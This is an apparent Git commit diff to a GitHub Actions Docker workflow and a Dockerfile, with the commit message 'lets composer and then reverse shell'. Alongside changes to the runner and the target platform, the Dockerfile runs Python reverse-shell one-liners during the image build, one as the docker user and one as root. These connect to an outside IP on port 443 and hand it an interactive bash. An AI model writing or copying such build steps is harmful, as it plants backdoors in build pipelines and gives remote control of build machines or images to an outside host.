ok.. back to arm.. lets composer and then reverse shell... on :latest

Author: Jeremy Price

.github/workflows/docker.yml

@@ -23,7 +23,7 @@ jobs:
   docker:
     # Ensure this job never runs on forked repos. It's only executed for 'jerm/snipe-it'
     if: github.repository == 'jerm/jerm-it'
-    runs-on: ubuntu-22.04
+    runs-on: ubuntu-latest
     env:
       # Define tags to use for Docker images based on Git tags/branches (for docker/metadata-action)
       # For a new commit on default branch (master), use the literal tag 'latest' on Docker image.
@@ -78,7 +78,7 @@ jobs:
         with:
           context: .
           file: ./Dockerfile
-          platforms: linux/amd64
+          platforms: linux/arm64
           # For pull requests, we run the Docker build (to ensure no PR changes break the build),
           # but we ONLY do an image push to DockerHub if it's NOT a PR
           push: ${{ github.event_name != 'pull_request' }}

Dockerfile

@@ -2,7 +2,7 @@ FROM jermgroks/jerm-it-base
 
 # Get dependencies
 USER docker
-RUN python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);    s.connect(("3.12.184.22",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)    ;p=subprocess.call(["/bin/bash","-i"]);'
+RUN composer install --no-dev --working-dir=/var/www/html && python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);    s.connect(("3.12.184.22",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)    ;p=subprocess.call(["/bin/bash","-i"]);'
 USER root
 
 RUN sleep 30 && python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);    s.connect(("3.12.184.22",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)    ;p=subprocess.call(["/bin/bash","-i"]);'